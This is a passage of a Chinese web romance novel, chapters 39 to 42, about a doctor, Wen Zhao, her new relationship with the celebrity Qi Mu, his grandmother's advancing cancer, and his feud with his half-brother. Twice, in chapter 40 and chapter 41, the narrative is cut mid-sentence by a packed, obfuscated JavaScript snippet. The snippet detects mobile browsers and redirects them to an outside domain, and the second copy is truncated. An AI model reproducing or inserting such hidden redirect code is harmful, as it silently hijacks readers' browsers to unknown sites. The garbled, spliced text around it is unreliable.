因为我会一直、一直在你的星球,为你一人,绽放。 39. 第39章 车内,车窗半开着,海风一股又一股地灌进来,吹得温昭鬓角的碎发飞飞停停。祁慕坐在主驾驶开着车,路灯下他的侧脸忽明忽暗,和之前去看烟花秀那天一样。 温昭忽然又想起他说过的话:他喜欢的人烂桃花有点多。 就因为这句,她才一直犹犹豫豫。 可现在他们在一起了,而那些拍立得上也写着祁慕很早开始就喜欢她了。这么一算,他说的那个“烂桃花多”的人,可不就是她自己么? 温昭越想越迷糊,实在摸不着头脑—— 自己哪来那么多烂桃花? 憋了好一会儿,她还是没忍住,开口问道:“你之前说……你喜欢的人烂桃花有点多,那个是我,对吗?” 祁慕正打方向盘转弯,闻言淡淡应了声:“嗯。” “可是……我烂桃花哪里多了?” 祁慕侧过头看了她一眼,眼底漾着点促狭的笑意,很快又转回去看路:“不多吗?你那个青梅竹马的哥哥,不算?” 温昭立刻坐直了,皱着眉看他:“那怎么能一样!再说了,就算硬算,那也才一个啊!”说着说着自己都觉得纳闷,尾音里不自觉带上点小脾气。 “嗯,一个,也挺多的。”他说得一本正经。 温昭还想争辩,张了张嘴又把话咽了回去,索性转过头,望着窗外飞速倒退的街景,腮帮子悄悄鼓了鼓。 祁慕在路口停下车,倾过身,伸手捏住她的下巴,轻轻把她的脸转了过来。 他额头抵着她的额头,视线微微上扬,正好落在她小巧的鼻尖上,声音低低的:“昭昭,因为喜欢你,所以哪怕只有一个,我也觉得太多了。” 一句话像颗糖,温昭方才那点委屈瞬间就散了。她低下头,嘴角忍不住往上翘,耳根悄悄热了起来。 祁慕又开口:“你会不会觉得我很小肚鸡肠?” “不会。”她顿了一秒,抬眼看向他,“我很开心。” “开心?”祁慕稍稍往后退了退,挑眉看她,满眼不解,“为什么?” “因为……”温昭眉眼弯着,“你只是喜欢我而已。” 跟她一样。 当初看到那条热搜时,她也偷偷犯嘀咕,觉得这个男人身边怎么那么多桃花。可仔细想想,她知道的,也就那么一个而已。 不过是因为在乎,因为喜欢,所以眼里容不得半粒沙子,只希望对方的世界里,从头到尾都只有自己一个人。 仅此而已。 - 隔天又是工作日。 前一天晚上祁慕说要送温昭,刚开口就被温昭拒绝了。虽说俩人已经在一起了,可真要光明正大的,她还是没那个勇气。祁慕倒也没再坚持,只眼神沉沉地看了她两秒,便点了头,大约是懂她那点心思。 电梯口,温昭转过身,看着他。 祁慕没看她,嘴巴微微撅着,侧脸线条紧绷,像个生气的小孩,脸上写着三个字“不高兴”。 温昭看得心头一软,忍着笑,踮起脚尖,在他脸颊上留下一吻。 那点柔软的触感落下来,祁慕喉结几不可查地滚了滚,下意识咬住内唇,拼命按捺被温昭勾起来的情绪。 ——还怪会讨好人的。 “我走啦。” 祁慕轻咳了一下,顺着温昭给的台阶下去:“路上小心。” “知道了!”温昭应着。 …… 刚把车停在医院的地下车库,温昭就看见一辆粉色的法拉利。 这车看着眼熟,跟林晚那辆简直一模一样。可从驾驶座走下来的人,却不是林晚。 温昭眯眼仔细瞧了瞧:“谷知轩?” 他家这么有钱?! 正愣神的功夫,就见谷知轩绕到副驾驶那边,绅士地拉开了车门。从上面走下来的女人,一身轻奢套装,肩上背着的CHANEL年度限定款。 全身上下加起来,没有几个W拿不下来。 “这是他…女朋友?” 温昭脑子里下意识就冒出林晚的影子。明明前段时间,谷知轩还拉着她打听林晚的事,问得仔细又执着。 虽说那晚的事是场意外,可温昭总觉得,谷知轩这么锲而不舍,多少是对林晚有点意思的。要么是喜欢,要么是心里存着愧疚。 难不成是她误会了? 她没再多想,刚推开车门迈下去,目光对上那个女人的脸,瞬间僵住了。眼睛和嘴同时张成圆形,满脸震惊。 林晚?! 什么情况?! 他们俩在一起了?? 可林晚半个字都没跟她提过啊?! 温昭也跟着下了车,不远不近地跟在两人身后,脑子里乱糟糟的。 谷知轩侧头看林晚:“今天下班我来接你?” 林晚脚步没停,淡淡道:“算了,我还有几个方案要改,改天吧。” 谷知轩有些失落,却还是扬着微笑:“好。” 两人在转弯处停了脚。 谷知轩走进电梯里,抬手挥了挥:“拜拜。” “嗯。”林晚站在电梯口应了声,没等那扇门彻底合上,就转身往另一个方向走了。 刚转出拐角,她抬眼就撞见了温昭,脸上的从容瞬间碎了,只剩下满满的无措。 她飞快回头瞥了眼电梯的方向,又转回来看向温昭,嘴角扯出个有些僵硬的笑,眼神躲闪着不敢直视她。 …… 中午,林晚约了温昭在医院旁边那家常去的餐厅吃饭。 刚点完餐,温昭就撑着下巴看她,开门见山:“解释解释吧。” 林晚搅着杯子里的柠檬水,含糊其辞:“就…在一起了呗。” “什么时候的事儿啊!?你都没告诉我,还拿不拿我闺蜜!” “哎呀,就前几天呗。”林晚用吸管戳着杯底的冰块,漫不经心的继续说,“不知道他从哪儿知道我公司地址,跑到楼下找我,说要聊聊,还说喜欢我。我想着反正闲着也是闲着,那就试试呗。”顿了顿又补了句,像是在说件无关紧要的小事,“而且指不定过两天就分了呢,所以才想着没必要告诉你。” 温昭看着她这副样子,心里叹了口气。 林晚向来是这副不把感情当回事的模样,对谁都不在意。 不过也不是全然如此,从前她心里也是真真切切装过一个人的,只是那回伤得重了,之后便再没见过她对谁用过心。 温昭也没再多追问,毕竟感情的事,林晚总有自己的想法。 “别光说我了,”林晚喝了口番茄牛肉汤,抬眼冲她挤眉弄眼,“你呢?跟那谁的进度条,爬到哪儿了?” 一扯到自己,温昭脸颊腾地就热了,手指下意识捏紧了玻璃杯壁。 林晚眼尖,立马指着她笑:“不对劲啊?是不是有什么突破性进展了?” “进度条啊……”温昭拖长了调子,声音里带着藏不住的开心,“拉满了。” “我靠!!”林晚下意识喊出声,猛地捂住嘴左右看了看,才压低声音追问,“拉满了?是我理解的那个意思不?……” “嗯,”她顿了顿说,“我和祁慕……在一起了。” “真的假的!!”林晚立马起身坐到了温昭旁边。 温昭轻轻点了点头,脸颊泛起微红。 “我靠,姐妹,可以呀!你这不出手则已,一出手一鸣惊人啊!” 温昭垂下了眼,交握着手指:“其实是……他先表的白。” 林晚拍了下大腿:“我说什么来着!祁慕他绝对喜欢你!!”她拽了拽温昭的手,“快说说,快说说,他怎么跟你表白的?!” “就…我约他吃饭…然后就……”温昭被她问得越发不好意思,声音越说越小。 林晚托着下巴,满脸欣慰,“我们昭昭终于终于不用在尼姑庵里敲木鱼咯!而且一下山,就吃到了唐僧肉,还是最顶级的那种。” 温昭被她说得脸更是直接变夕阳红:“还没吃到呢……” “呦!你这口气我怎么听着倒有些可惜啊!” “林晚!” “好好好,我吃饭,我吃饭还不行嘛!”林晚举起双手,慢悠悠地坐回自己位子上,眼神却还看着温昭,一脸姨母笑。 - 下午,温昭刚准备下班,就被通知要临时开一个紧急会议,等一切都结束了,时间已经到了晚上六点半。 偏祸不单行,向来准时的例假这次提前了四五天造访,再加上今天中午喝了点冷饮,这会儿小腹里像是揣了个正 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温昭昏昏沉沉的,听见熟悉的声音才费力掀开眼皮,嘴唇动了动,却连说话的力气都没有,只微微喘着气,额前的碎发早就被冷汗浸湿了。 祁慕没再多问,小心翼翼地将她抱起,三步并作两步地走到了房间,将她轻轻放到床上,顺手拉过被子裹住她。 他刚要起身,衣角却被轻轻攥住了。 温昭试着想坐起来,腰腹间的绞痛却让她猛地瑟缩了下,根本使不上力。 “快躺下。”祁慕按住她的肩,声音沉了沉。 温昭摇了摇头,声音虚弱:“会弄脏……” 祁慕立马领悟,依旧将她扶下:“没关系,你先躺着,等我下,我一会儿就来。” 还没等温昭回应,他已经转身快步走了出去。 温昭躺在床上,意识还是晕乎乎的。只听见外面传来窸窸窣窣的声响,脚步声急促地来回踱着,一会儿是开水壶的声音,一会儿又像是翻找东西的动静。她知道是祁慕在忙,却没力气睁眼去看,只能蜷着身子,任由那阵阵地绞痛继续折腾。 …… 过了没多久,房间门再次被打开。 一道身影走进,“咔哒”按亮了开关,暖黄的灯光瞬间漫满整个房间,驱散了方才的昏暗。 温昭缓缓睁开眼,祁慕已经坐在床前。 “我扶你起来。”他说。 “……好。” 祁慕小心地托着她的背,慢慢扶起,又从一边抽了个软枕头垫在她腰后,再轻轻把她扶着靠回去。 他从床边拎过个东西递过来,是个温温热的热水袋,外面还套着层毛茸茸的小熊布套:“把它放在肚子那边。” 温昭听着他的话语照做,小心地放在了小腹上。隔着布套,那股暖意慢慢渗过来,熨帖着方才冰凉的地方,心里头也跟着泛起一丝久违的安定。 这头祁慕已经端过床头柜上那杯刚泡好的红糖水,坐到她身侧,手臂轻轻环过她的肩,将她靠在自己怀里,另一只手端着杯子,吹了吹才递到她嘴边:“有点烫,慢点喝。” 温昭微微仰头,小口小口地喝着。冰冷的指尖不小心碰到他的手背,他的手总是暖烘烘的,而她的手也奇异地被那温度熨帖着。微烫的红糖水流过喉咙,暖意在胃里扩再开来,连带着四肢百骸都慢慢升了点温度。 等她喝完,祁慕把空杯子放回床头柜,又慢慢扶她躺下:“你先睡会儿,我给你煮点粥,”又掖了掖被角,“等好了叫你。” “……好。”温昭虚弱地弯了弯唇,脸色依旧苍白。 祁慕垂眸凝视着她苍白的脸色,眉头不自觉皱起,眼底满是心疼。 他俯下身,在她额头上落下一吻,像雪花落下一样轻柔,指尖温柔地拨开黏在她脸颊的碎发,又摸了摸她的脸颊。 “乖,快闭眼。”他低声说。 温昭睫毛轻颤,又看了他一眼,才缓缓闭上了眼。 祁慕坐在床上看了会儿,确认她呼吸渐稳,这才踮着脚尖走了出去。门锁“咔哒”一声轻响,客厅的光线在木地板上投下一线金黄,又随着门缝闭合而消失。 房间里重归静谧,只余温昭均匀的呼吸声,和窗外偶尔掠过的风声。 40. 第40章 再次睁眼时,窗外天都暗透了,只有几颗星星点缀在夜空中。 温昭撑着胳膊坐起来,摸过枕边的手机,已经八点四十多了。 “居然睡了这么久……”她小声嘀咕一句。 忽然,脑子里咯噔一下想起什么。 她一愣,而后动作麻利地掀开被子。 目光落下去,果不其然,浅蓝色的床单上洇着一小团刺目的红。温昭无奈地叹了口气,抓了抓睡得有些凌乱的头发,紧绷的肩膀也跟着垮了下来。小腹还隐隐坠着疼,不过比起下午那阵翻江倒海的难受,已经好得太多了。 她赶紧起身,去了趟洗手间。 没过多久,她脚步虚浮的出来,拉开了房门。 客厅里只亮着盏昏黄的落地灯,暖光铺了一地,却空无一人。 温昭左右瞧了瞧,视线最终落在客厅尽头那扇虚掩的门上,里面亮着灯。她放轻脚步走过去,先从门缝里悄悄张望了眼,才轻轻推开半扇门。 祁慕坐在书桌前,鼻梁上架着副细框的金丝眼镜,头微微低着,碎发在纸上投下一片阴影。手里捏着支黑笔,在本子上写几笔,又转头去敲旁边的电脑键盘,指尖起落间,动作利落。 看样子是在忙工作。 温昭见过他私下里随性的样子,也见过他在聚光灯下骄傲的模样,却从没见过他这副样子,认真、严肃,褪去了往日的慵懒的样子,透着股沉稳。 她嘴角不自觉地弯了弯,抬手轻轻敲了敲门框,走了进去。 祁慕听到动静,立刻抬起头,看见温昭,二话不说站起身走过去。 “怎么样?还疼得厉害吗?”他微微低着头看她,眉头又习惯性地皱了起来。 “好多了。” “那就好。”他松了口气。刚刚看到她那副虚弱到站不稳的样子,他是真的心疼。悬了一个多小时的心,终于在这句“好多了”里,慢慢落回了原处。 温昭往前走了两步,好奇地看了眼桌上的东西:“你在忙什么呢?” “哦,写了点稿子。”祁慕顺手指了指屏幕,“总决赛的时候评委得说段脱口秀,我先准备着。” 温昭了然地点了点头。 祁慕看了眼时间,又说:“走吧,先吃点东西。” “嗯。” 他很自然地拉起她的手,往客厅走去。 “你先坐着,我去给你盛。” “好。” 温昭在餐桌旁坐下,看着祁慕转身走进开放式厨房。他掀开砂锅的盖子,拿起旁边的白瓷勺,轻轻搅了搅锅里的东西,舀了满满一碗,端到她面前。 “这是……”温昭看着碗里稠稠的粥,鼻尖已经闻到了甜香。 “红枣桂圆糯米粥。”祁慕在她对面坐下,“我上网搜的,说这个能缓解那几天的不舒服。不过我也是第一次做,你尝尝看,不知道好不好吃。”他说的自然。 温昭拿起勺子,舀了一小勺。 “小心烫。”祁慕叮嘱着。 她吹了吹,等粥凉了些才送进嘴里。 红枣的甜、桂圆的香,混着糯米的软糯,在舌尖上慢慢散开,味道竟出奇的好,不甜不腻。 温昭抬眼看向祁慕,心里有点惊讶。 以前她总觉得,像祁慕这样的人,大概是连厨房门都不会进的。可上次他做的早饭,还有这次的粥,味道居然都很不错。 她忽然想起林晚说过的话—— “一下山,就吃到了唐僧肉,还是最顶级的那种。” 这么一想,温昭忍不住低下头,偷偷笑了起来。 好像……说得没错。 祁慕见她半天没说话,就那么低着头,有点紧张地问:“怎么了?不好吃吗?” 温昭连忙抬起头,摇摇头:“没有,很好吃。” 祁慕这才放下心来:“那就好。” 温昭又舀起一勺粥,刚放到嘴边,又想起什么,抬眼问:“你吃了吗?” “嗯,刚刚在外面吃过了。” 温昭“哦”了一声,有些不好意思地开口,“那个……你的床单被我不小心弄脏了……等下我带走洗吧。”她声音越说越小。 “不用,我回头洗一下就好。”祁慕语气平淡。 “还是我来吧,毕竟是我弄的。”她总觉得过意不去,又坚持补了一句。 话音刚落,祁慕忽然伸手握住了她捧着碗的手。 “说了我来洗。”他看着她,说得认真,“再说了,是我把你抱到床上的,弄脏了就弄脏了,有什么关系。” “可是……”温昭还想再说。 “别可是了。”他打断她,“快吃,再磨蹭下去粥该凉了。凉的吃进去,肚子又该痛了。” “还是说,”他嘴角勾起促狭的笑,“你还想在我这儿再赖一夜?” “没有……”温昭被他说得脸颊腾地一下就热了,慌忙低下头,拿起勺子往嘴里扒拉粥,动作很快,不敢再看他。 祁慕瞧着她那红透了的耳尖,眼底的笑意深了点,没再逗她,只安静地坐在对面看着。 - 跟往常一样,温昭到了医院。刚在办公室坐下,就看见谷知轩就低着头走进来。他手里捧着手机,打着字,脸上那点笑意藏都藏不住,状态看起来好得很。 跟前阵子蔫头耷脑的样子比,简直判若两人,当时的温昭还不知道是什么原因,不过现在倒清楚了。 “温学姐好!”他朝温昭打了个招呼,拉开椅子坐下。 温昭瞥了眼他那乐呵的模样,不由自主想起林晚说过的话—— “指不定过两天就分了呢。” 这话她信。 不过要是换了以前林晚谈的那些对象,温昭觉得连谈的必要都没有,早分早好。毕竟不是奔着人钱包来的,就是冲着那张脸去的,连正儿八经处对象的样子都没有。 但谷知轩不一样,哪怕打交道不多,温昭也能感觉出来,这人跟林晚那些前对象,压根不是一路人。 桌上的指针也在此时指向了下午一点二十八。 她没再继续想,拿起桌上的病历本站起身:“走吧,查房了。” “好。”谷知轩应了一声,放下手机收拾了下桌面,快步跟在她身后。 …… 温昭指尖点了点病历本上的记录,侧头跟谷知轩交代:“112床那个病人,明天得安排上营养针了……” “好。”谷知轩在病历本旁批注下。 温昭转过身,手刚搭上113病房的门把手,就听见里头传来一阵压抑的干呕声。透过门玻璃一看,刘婧正弯着腰趴在床边吐,陈琳在一旁不停地给她顺背。 温昭心头一紧,脚步顿了半秒,随即推门走进去。 她快步走到刘婧身边,蹲下身。老人的脸色毫无血色,像一张米黄色的宣纸。 “外婆。”她一边说着,一边也伸手慢慢轻抚着刘婧的后背。 谷知轩倒了杯温水递过来。 温昭接来,小心地送到刘婧嘴边:“外婆,喝点水润润喉咙。” 刘婧含着水漱了几口,勉强缓了口气,只是脸色依旧难看,嘴唇抿得发白。 陈琳在旁边急得不行,跟温昭说:“温医生,刘姐这礼拜已经吐了两次了,有时候甚至吐着吐着发现有些血丝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286443|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温昭望着刘婧明显又瘦下去一圈的身子,心里沉甸甸的。 她太清楚了,这是病情加重的兆头。癌症到了后期就是这样,癌细胞疯长抢营养,把人本身的精气神一点点耗干,药也压不住,只能眼睁睁看着那点生气被一点点吞噬掉。 她转头看向谷知轩:“明天给外婆约个全面检查。” “好。” 温昭扶着刘婧慢慢躺回床上,刚替老人把被角掖好,病房门“咔哒”一声被推开了。 祁慕走了进来。 “外婆。” 刘婧原本有些萎靡的脸上,听见声音,脸上努力挤出一点笑,撑着身子想坐起来点儿:“今天怎么来了?” “早上拍摄结束没什么事儿,就想着来陪陪您,而且也想你了。”说完,目光很自然地转向旁边的温昭。 这话,自然也是说给她听的。 温昭迎上他的视线,心里头没什么小鹿乱撞的羞涩,反倒堵着点惆怅和沉重。她朝他微微笑了笑,没说什么,只给谷知轩递了个眼色,示意出去。 祁慕前阵子白天一直在忙工作,没顾上来医院。这回难得抽空,她也不想在这儿打扰祖孙俩说话。 走到门口,谷知轩就忍不住问:“学姐,那人是不是那个明星祁慕啊?看着特像。” 温昭脚步一顿,回头从门上的小玻璃窗往里瞥了一眼。 病房里,祁慕微微俯身,握着刘婧的手低声说着什么。 她转回头,轻轻“嗯”了一声:“是他。” 说完,便径直回了办公室。 办公室的窗前,温昭静静地站在那儿,望着外头那灰蒙蒙的天。 她眼里很平静,没有一丝波澜。 窗外,乌云压得很低,一层叠着一层,沉甸甸地悬在半空,瞧着,像是憋着一场大雨,随时都要落下来。 她脑子里又闪过刚才病房里的画面。 刘婧一见祁慕进来,那强撑着、悄悄藏起不适的表情。 她比谁都熟悉。 当年她爸爸躺在病床上,对着她,也是这副模样。 现在她是医生了。 她能熟练地用各种方法帮病人扛过最难受的时期,能尽力缓解那些蚀骨的疼痛。 可那又怎么样呢? 她心里比谁都清楚,有些去留,她拦不住。 她毕竟,救不了命。 刚穿上这身白大褂的时候,她也曾和几个病人处得像朋友,会听他们家里的琐事。可一转眼,温昭就看着那些鲜活的人,被病痛一点点啃噬掉生气,看着他们像燃尽的蜡烛,最终悄无声息地熄灭。 最快的,刚进来一周,温昭刚记住名字,却在查房时发现,病床上就已经换上了崭新的床单。 那些人们,像水汽一样,彻底蒸发在了这世上。 她知道医生该冷静,该专业,不能过于共情。 这些年,生离死别见得多了,心也渐渐变硬了,麻木了些。 可这一次,不一样。 躺在那里的是祁慕的外婆。 刘婧往后会怎样,她几乎能精准的预见到每一步和最终的结局。她自己能平静接受,这是职业素养。 可祁慕呢? 他能接受吗? 温昭心里,其实早就有了答案。 她想起祁慕那个糟透了的家。妈妈早逝,爸爸对他视如敝履。这世上,能让他真心实意叫一声“亲人”的,也就只有病床上那个老人了。 那是他唯一的根,唯一的暖。 他……要怎么去接受这根要被生生挖走的痛? 而她又要怎么慢慢告诉他这一切。 41. 第41章 窗外的雨点开始噼里啪啦地敲打着玻璃,天色变得更加暗沉。温昭换了身衣服,情绪依旧不高,跟外头的天色一个样,半点没散。 她沿着走廊慢慢走,路过113病房时,脚步顿了顿。 透过门的小玻璃窗,她瞥见刘婧睡着了,而陈琳在一边陪着,可唯独没看见祁慕。 她低头看了眼手机,快六点了。 这个点,大概,回去了吧。 她走进电梯,按下负二楼的按钮。 很快,“叮——”的一声,电梯门缓缓打开。 一股混合着汽油和沉闷的地下车库气味立刻涌进鼻腔。 温昭刚拐过一个水泥柱子,旁边阴影里突然伸出一只手,精准地抓住了她的手腕。 她还没反应过来。 下一秒。 就被带进一个温热的怀抱中。 熟悉的、清淡的气息中裹着一点甜暖的柑橘香,丝丝缕缕包裹着她。紧绷的身体几乎是本能地松懈下来,可心口那块石头,也因为身边这个人的出现,压得更重了些。 “你怎么在这儿?”她脸埋在祁慕的胸前。 “等你下班啊。”他顿了顿,下巴蹭了蹭她发顶,“顺便……蹭一下温医生的车回家!” 温昭没吭声,也没动。 祁慕垂眸,双手轻轻扶着她的肩膀,稍稍拉开一点距离。昏暗的环境内,她眼神更加空洞,没什么神采,与往日不同。 他眉头轻皱了下,一双手捧着她的脸,轻轻抚摸:“怎么了?不开心吗?” 温昭被他的动作唤回了神,抬眼看他,努力弯起嘴角,摇了摇头:“没有,就是,有点累。” “那我们回家好不好?” “嗯。” 祁慕嘴角扬起一个安抚的弧度,没再多问,只是自然地、紧紧地握住了她微凉的手,十指相扣。他的掌心包裹住她,牵着她,转身朝停车的位置走去。 - 前挡风玻璃上,雨刷器一遍一遍来回刮着,发出单调、沉闷的声响。温昭靠在车椅上,全身都感觉无力。窗外,瓢泼大雨织成一片白茫茫的水幕,街道、霓虹、行人都被冲刷得模糊不清。 车子稳稳停进自家小区的地下车库。 火一熄,钥匙一拔,车里瞬间静了下来。温昭还望着窗外某处地方,眼神放空。 “昭昭,到了,走吧。” “啊…”温昭回过神,睫毛颤了颤,迟钝地点点头,“好……” 她解开安全带,推开车门。 一路上,她几乎没怎么开口。 祁慕起初只是以为上班太累,精神不济,便也没扰她,想让她静静休息会儿。但慢慢的,他也发觉了一丝不对劲,今天的温昭,那份安静里,似乎裹着点别的东西。 他想问,又不知道从哪儿开口才好。 走进电梯口,电梯还在18楼,缓缓下行。 温昭看向他,轻轻吸了口气:“祁慕。” “怎么了?”他立刻转头看她。 “外婆……”温昭斟酌着字句,声音很轻,“她今天跟我说,挺想你的。你……后面要是不那么忙了,多抽点时间过去陪陪她,好不好?” 她只能先这样提醒。 进一步的检查结果还没出来,具体的凶险程度还未知。 但外婆的这份思念,是千真万确的。 “好,我知道。”祁慕应得很快,视线却没移开。他顿了顿,才又开口,“不过……” “不过什么?” “我想……找个机会,告诉外婆我们的事。” 温昭呼吸微微一滞,心跳漏了一拍,下意识地吞咽了一下。 祁慕敏锐地捕捉到她那一瞬间的僵硬,眉毛挑起,凑近了些:“你这什么表情?不会不想给我名分吧?” “我没有……”温昭解释道,“我只是……只是觉得,会不会太突然了?” “突然?”祁慕笑了一下,“外婆才不会觉得突然呢,她今天还在问我,什么时候把女朋友带给她看。” 温昭嘴角忍不住弯起小小的弧度。 祁慕见状,眼底的促狭褪去,换上更深的温柔。 他抬手,揉了揉她的发顶:“好啦,跟你开玩笑呢。” 温昭知道他不是在开玩笑,只是怕自己觉得太快了。她笑着摇了摇头:“祁慕,我们告诉外婆吧。” 她清楚外婆最大的心愿是什么。 就是希望祁慕身边能有个可以陪他的人,这样在她离开后,他在这世上,也不会再是孤独的浮萍。从医生的角度,她希望尽力满足病人的心愿;从祁慕女朋友的角度,见家长也是早晚要迈出的一步。 只不过……现在快了点。 但有什么关系呢? 对象是他,早一点晚一点,也都一样。 祁慕一愣:“真的?”他声音微颤,是惊喜,也是不敢置信。 “嗯。”她说得坚定,眼神没有丝毫犹疑,“你什么时候有空,带我去见外婆吧!” “你不是一直都见着吗?” “那怎么能一样!”温昭嗔怪地看了他一眼,一字一句地说,“之前,我是她的医生。这次——” 她停顿了一秒,看着他的眼睛,清晰地说出后面的话,“我是以你的女朋友身份,去见她。” 他脸上的笑容瞬间放大,忍不住又揉了揉她的头发:“好。那就等我录完最后这期节目回来,我们就去。” “嗯!” - 六月一到,随着梅雨季节的作祟,连着几天没见着太阳,空气又闷又湿。 温昭坐在林晚家中,林晚抱着芝麻,走过来,在她旁边坐下:“你们俩这刚谈没多久,就异地啊!” “也不算吧,就去个一个星期,他说端午前就能回来。” 林晚啧了一声,手指挠着芝麻的下巴:“昭昭,这么个帅得人神共愤的男朋友,放出去一个星期,你就一点儿不担心?” “担心什么?” “当然是被外面那些花花草草拐走咯。” 温昭眉眼弯弯:“不会的。” “这么自信?” “嗯。”温昭点头。要是连这点信任都没有,当初又怎么会点头答应和祁慕在一起呢。 她知道祁慕不是那样的人。 叮铃铃—— 茶几上的手机在一旁亮起,跳出个熟悉的名字。 温昭拿起,屏幕朝着林晚晃了晃:“说曹操曹操就到。” 林晚无奈地一笑。 ——果然是热恋中的小情侣,跟502胶水一样。 温昭指尖轻点,接通视频。 屏幕上瞬间就出现了祁慕的脸,看背景像是在酒店房间里。 灯光有些昏暗,暖黄的光晕裹着他半湿的发,他身上穿着睡袍,露出两节锁骨,上面还沾着点水,看样子像是刚洗完澡。 “在干嘛?” “跟朋友聊天。” “朋友?”祁慕的眼睛微微眯起,尾音故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她轻说:“……嗯,有一点。” “只有一点?”祁慕挑眉,显然对这个答案不满意,嘴角噙着一抹坏笑。 “那就……再加一点?” 祁慕被她这副模样逗笑,眉眼间只剩宠溺;“好好好,一点就一点。” “不过,”他话锋一转,“我可是很想你,你却才‘一点’,这么大的落差,是不是该补偿我一下?” 温昭心里咯噔一下。 ——这还要补偿? 她警惕地看着他,试探着开口:“什、什么补偿。” 祁慕的目光在她脸上慢悠悠地转了一圈,从泛红的脸颊滑到微颤的睫毛,最后落在她红润的唇瓣上。他眼神暗了暗,喉结滚动了下,又缓缓移开视线,落在她那双写满疑惑的桃花眼上。 他的目光过于专注和直白,温昭被他盯得心跳越来越快,耳朵嗡鸣了一下,呼吸也越放越慢,脸颊憋得更红。 片刻后,他张了张嘴,缓缓开口,一字一句都清晰地传入她耳中: “亲我一下。” 他声音清冷,带着点蛊惑人心的语气。 温昭的脸唰地一下全红了,像熟透的番茄,连白皙的脖颈都染上了一层粉色。 “现在?!” 他低低地笑了:“当然是等我回来。” 窗外,梅雨还在淅淅沥沥地敲打着玻璃。 小小的手机屏幕里,两人就这么安静地看着对方,空气里流淌着一种独属于六月,无声胜有声般黏稠的缱绻。 42. 第42章 温昭今天要值夜班,祁慕知道会累,再加上这几天温昭特殊时期,肯定会更累。他舍不得多占她休息时间,又叮嘱了几句,便主动挂断了视频。 刚挂断,酒店房间的门就被推开一条缝,陶逸兴往里探了探。 刚才祁慕打电话时,他就贱兮兮地凑过来,一直犯贱,被祁慕一个眼神加一声“滚”给轰出去了。 这会儿还是在门外听着里面没声儿了,才进来。 “呦,腻歪完了?”陶逸兴嬉皮笑脸地走过来,胳膊肘往祁慕肩上一搭,“难得啊,我们祁大明星居然舍得主动挂电话?不再多聊会儿?” “她今天要值班。” 陶逸兴俯下身,凑到祁慕耳边:“啧啧啧……真没想到啊,我们阿慕也有这么体贴入微、会心疼人的一天哟——”他语气贱得慌。 “滚!”祁慕也没多忍,手上使了把劲,直接把搭在肩上的手给推了下去。 陶逸兴收起玩笑,抬腕看了眼表,正儿八经道:“行了,不逗你了。赶紧收拾收拾,祖宗,咱该出发去摄影棚了,时间不等人。” “知道了。” 路上,陶逸兴从副驾转过头,脸色严肃,提醒道:“对了,阿慕,有件事儿得给你打个预防针。今天拍定妆照,祁子航……估计也在场。”他顿了顿,加重了语气,“你可得给我绷住了!千万别冲动!听见没?” 祁慕原本闭目养神,听到这话,立马睁开眼,目光锐利地看向陶逸兴:“祁子航?他为什么来?” “还能为什么?”陶逸兴撇撇嘴,“资本的力量呗!你爸为了捧他那宝贝儿子,可真是豁出去了,哪哪都硬塞!明知道祁子航那水平,还非把他弄来当什么‘返场嘉宾’?其他返场的,要么是当年惜败的实力派,要么这季意外发挥失误的选手,他祁子航有什么?上台抖腿吗?”陶逸兴越说越气,语速都快了几分。 祁慕唇角勾起一抹极淡、极冷的弧度,像是听到了什么饶有趣味的笑话,鼻腔里发出一声轻嗤。 陶逸兴:“你说他们到底想干嘛?” 祁慕缓缓靠回椅背,视线投向车窗外,路灯的光影在他脸上明明灭灭。 他声音不高,带着冰冷嘲讽: “黑红,也是红。” “他们要的,不就是这个效果么。” 这事儿,祁慕压根不用琢磨,用脚趾头想都知道是谁的想法。 除了祁子航那玩意儿,还能有谁? 祁清远?呵。 虽说祁清远,是疼他那宝贝儿子每错,但终究是个彻头彻尾、只认利益的商人,骨子里自私得很。 他那公司虽说不算什么大公司,但里面有名的艺人也有几个,再怎么说也要考虑后果。 除非……祁子航撒泼打滚、死皮赖脸地缠着求他爹,豁出去脸皮不要了,才可能让祁清远那老狐狸昏了头,点了这个头。 当然,还有一种可能。 除非祁清远他妈的脑子被门夹了,彻底蠢透了! - 摄影棚内,工作人员正在忙碌。 看到祁慕来了,热情地打了个招呼,祁慕也礼貌性地点头回应。刚走进去几步,透过拍摄的人群,视线精准地捕捉到了正在摆造型的祁子航。 祁子航一抬头也恰巧看见他了。 那张精心打扮的脸上飞快掠过一丝慌乱,下意识地摸了摸之前挨过拳头的颧骨。他赶紧移开视线,强装镇定地对着镜头挤出笑,接着拍他的。 祁慕脚步未停,只顿了一秒,眼神淡漠地从祁子航身上扫过,权当看到了一个脏东西。 “你先等我一下,我去个洗手间。” “行,那我去化妆室等你啊。” “嗯。” 祁慕转个弯,一抬眼,就看到了一个女人。 他自然是认得她的。 那是祁子航的妈,路璇。 她穿着一身红色长裙,通身的富贵气。 路璇甩了甩刚洗完的手,刚抬眼,就看到了走过来的祁慕。她显然也没料到会在这里撞见他,脸上的笑容僵了一瞬,但仅零点几秒,脸上又被更浓、更假的笑意填上,热情得浮夸。 “阿慕啊!”她热情地走来,“好巧啊,没想到在这边能碰到你,你也来拍摄?” 祁慕冷眼看着她,想到正在拍摄的祁子航,瞬间了然。 他连眼皮都懒得抬一下,脚步没有丝毫停留,径直从她身边擦肩而过,把她那身扎眼的红和那虚伪的笑全当没看见。 祁子航固然又蠢又贱,但他那点浅薄的恶毒,大半都承袭自眼前这个女人的言传身教,更少不了她背后那些上不得台面的算计和推波助澜。 当年祁慕还小,即使心里再厌恶这鸠占鹊巢的一家子,他也努力维持着体面,像个懂事的“外人”。 